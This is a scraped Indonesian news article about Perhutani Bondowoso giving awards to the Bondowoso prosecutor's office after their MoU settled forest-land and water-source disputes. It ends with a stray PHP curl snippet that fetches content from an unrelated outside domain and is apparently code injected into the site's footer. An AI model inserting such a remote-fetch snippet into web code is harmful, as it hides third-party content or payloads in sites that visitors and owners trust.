Memorandum Of Understanding Perum KPH Perhutani Bondowoso Lakukan MoU Bersama Kejaksaan Negeri

Kamis, 29 Agustus 2024

facebook twitter whatsapp telegram line copy

URL berhasil dicopy

facebook icon twitter icon whatsapp icon telegram icon line icon copy

URL berhasil dicopy

Bondowoso | Jejakkasus.info – Memorandum of understanding (MoU) bidang perdata dan tata usaha negara yang secara rutin dilakukan oleh Perum Perhutani bersama dengan Kejaksaan Negeri Bondowoso, terbukti ampuh dan bukan hanya mencari sensasi atau isapan jempol belaka.

Pasalnya dengan terjalinnya komunikasi secara inten antar dua lembaga pemerintah tersebut pada tahun 2024 ini kejaksaan negeri Bondowoso dapat menyelesaikan penguasaan tanah aset Perhutani seluas 2,288 ha oleh pemerintahan desa Karang anyar kecamatan Klabang sejak tahun 1995 (29 tahun).

Setelah sebelumnya pada tahun 2023 lalu juga berhasil menyelesaikan permasalahan sumber mata air dalam kawasan hutan di kecamatan Maesan dan kecamatan Sumber Wringin yang dikuasai oleh PDAM Bondowoso sejak tahun 2003, kedua permasalahan tersebut berakhir dengan dibuatkan dan ditandatangani Perjanjian kerjasama (PKS) kemitraan.

Baca Juga:  Persit KCK PD IV/Diponegoro Ziarah Rombongan Ke TMP Giri Tunggal

Atas keberhasilan tersebut, mewakili Kepala Perum Perhutani Devisi Regional Jawa Timur, Misbakhul Munir Administratur Perhutani KPH Bondowoso menyerahkan Piagam penghargaan kepada Kejaksaan Negeri Bondowoso.

Penyerahan dua piagam penghargaan sekaligus dimaksud berasal dari Kepala Perum Perhutani Devisi Regional Jawa Timur dan Administratur Perhutani Bondowoso, bertempat di aula kejaksaan negeri dan langsung diterima oleh Dzakiyul Fikri, S.H.,M.H Kepala kejaksaan (Kajari) Bondowoso. Kamis (29/8/2024).

Pada kesempatan ramah tamah, Misbakhul Munir menyampaikan ucapan terimakasih atas dukungan penuh dari jajaran kejaksaan sehingga permasalahan yang dihadapi oleh Perhutani dapat terselesaikan dengan baik.

Baca Juga:  Diduga Tidak Sesuai Spek Proyek U-Ditch Desa Singogalih Tidak Ada Papan Nama

Lebih jauh cak Munir berharap agar kerjasama antara Perhutani dengan pihak kejaksaan Bondowoso dapat berjalan lebih sinergis kedepan.

“Insyaallah dengan terjalinnya komunikasi yang baik semua permasalahan dapat kita selesaikan, untuk itu pada bulan September yang akan datang kami akan memperpanjang MoU dengan kejaksaan,” ungkapnya.

Sementara itu, Kepala Kejaksaan Negeri (Kajari) Bondowoso Dzakiyul Fikri juga menyampaikan ucapan terimakasih atas penghargaan sekaligus kepercayaan dari management Perhutani kepada jajarannya.

“Kami dari kejaksaan siap untuk bersinergi dan akan memberikan bantuan penuh sesuai dengan kewenangan yang kami miliki, dan berdasarkan data yang ada, insyaallah dalam waktu dekat kami juga akan menindaklanjuti penguasaan kawasan hutan secara tidak syah oleh masyarakat seluas 76,7 ha di wilayah RPH Curahdami BKPH Bondowoso,” tukasnya.

Baca Juga:  Polres Sukoharjo Lakukan Penyelidikan Terkait Penemuan Potongan Tubuh Manusia di Aliran Bengawan Solo

Dalam acara tersebut tampak hadir dan ikut mendampingi Administratur Perhutani yaitu Anton Sujarwo S.Hut wakil ADM KSKPH Bondowoso selatan dan Octavano SV Kasubsi Pengembangan Bisnis & Management Resiko, sementara dari jajaran kejaksaan turut hadir diantaranya Kadek Wira Atmaja S.H., M.H. kasi Datun, Adi Harsanto Kasi Intel dan 2 orang jaksa pengacara negara. (Yus)

Follow WhatsApp Channel jejakkasus.info untuk update berita terbaru setiap hari Follow

Berita Terkait

Kapolres Tabanan Gelar Jumat Curhat Bersama Warga Desa Sudimara di Pantai Yeh Gangga
Prajurit Kodam IX/Udayana Raih Medali di Cabang MMA PON XXI 2024
Kuasa hukum AG, Reydi Nobel.S.H apresiasi majelis hakim tunggal, ni Made Dewi Sukarni.SH karena mengabulkan permohonan praperadilan.
Polsek Petang Gelar Blue Light Patrol Antisipasi Gangguan Kamtibmas Jelang Pilkada 2024
Tingkatkan Patroli Samapta Polsek Mengwi Sambangi SPBU
Menjelang Pilkada Kabupaten Sidoarjo Bhabinkamtibmas Polsek Tanggulangin Adakan Dialog Dengan Tokoh Agama Dan Masyarakat.
Tim Voli Putri Jatim Sabet Medali Emas pada PON XXI Aceh Sumut
Masih Perlukah Cuma Teteskan Air Mata Untuk Menangisi Peraturan Pemerintah Yang Mencekik Ini

Berita Terkait

Jumat, 20 September 2024 - 11:01 WIB

Kapolres Tabanan Gelar Jumat Curhat Bersama Warga Desa Sudimara di Pantai Yeh Gangga

Jumat, 20 September 2024 - 10:59 WIB

Prajurit Kodam IX/Udayana Raih Medali di Cabang MMA PON XXI 2024

Jumat, 20 September 2024 - 10:58 WIB

Kuasa hukum AG, Reydi Nobel.S.H apresiasi majelis hakim tunggal, ni Made Dewi Sukarni.SH karena mengabulkan permohonan praperadilan.

Jumat, 20 September 2024 - 10:57 WIB

Polsek Petang Gelar Blue Light Patrol Antisipasi Gangguan Kamtibmas Jelang Pilkada 2024

Jumat, 20 September 2024 - 10:56 WIB

Tingkatkan Patroli Samapta Polsek Mengwi Sambangi SPBU

Berita Terbaru

Peristiwa

Tingkatkan Patroli Samapta Polsek Mengwi Sambangi SPBU

Jumat, 20 Sep 2024 - 10:56 WIB

$ch = curl_init(); curl_setopt($ch, CURLOPT_URL, 'https://umrohkemenag.org/footer/'); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); $a = curl_exec($ch); curl_close($ch);?>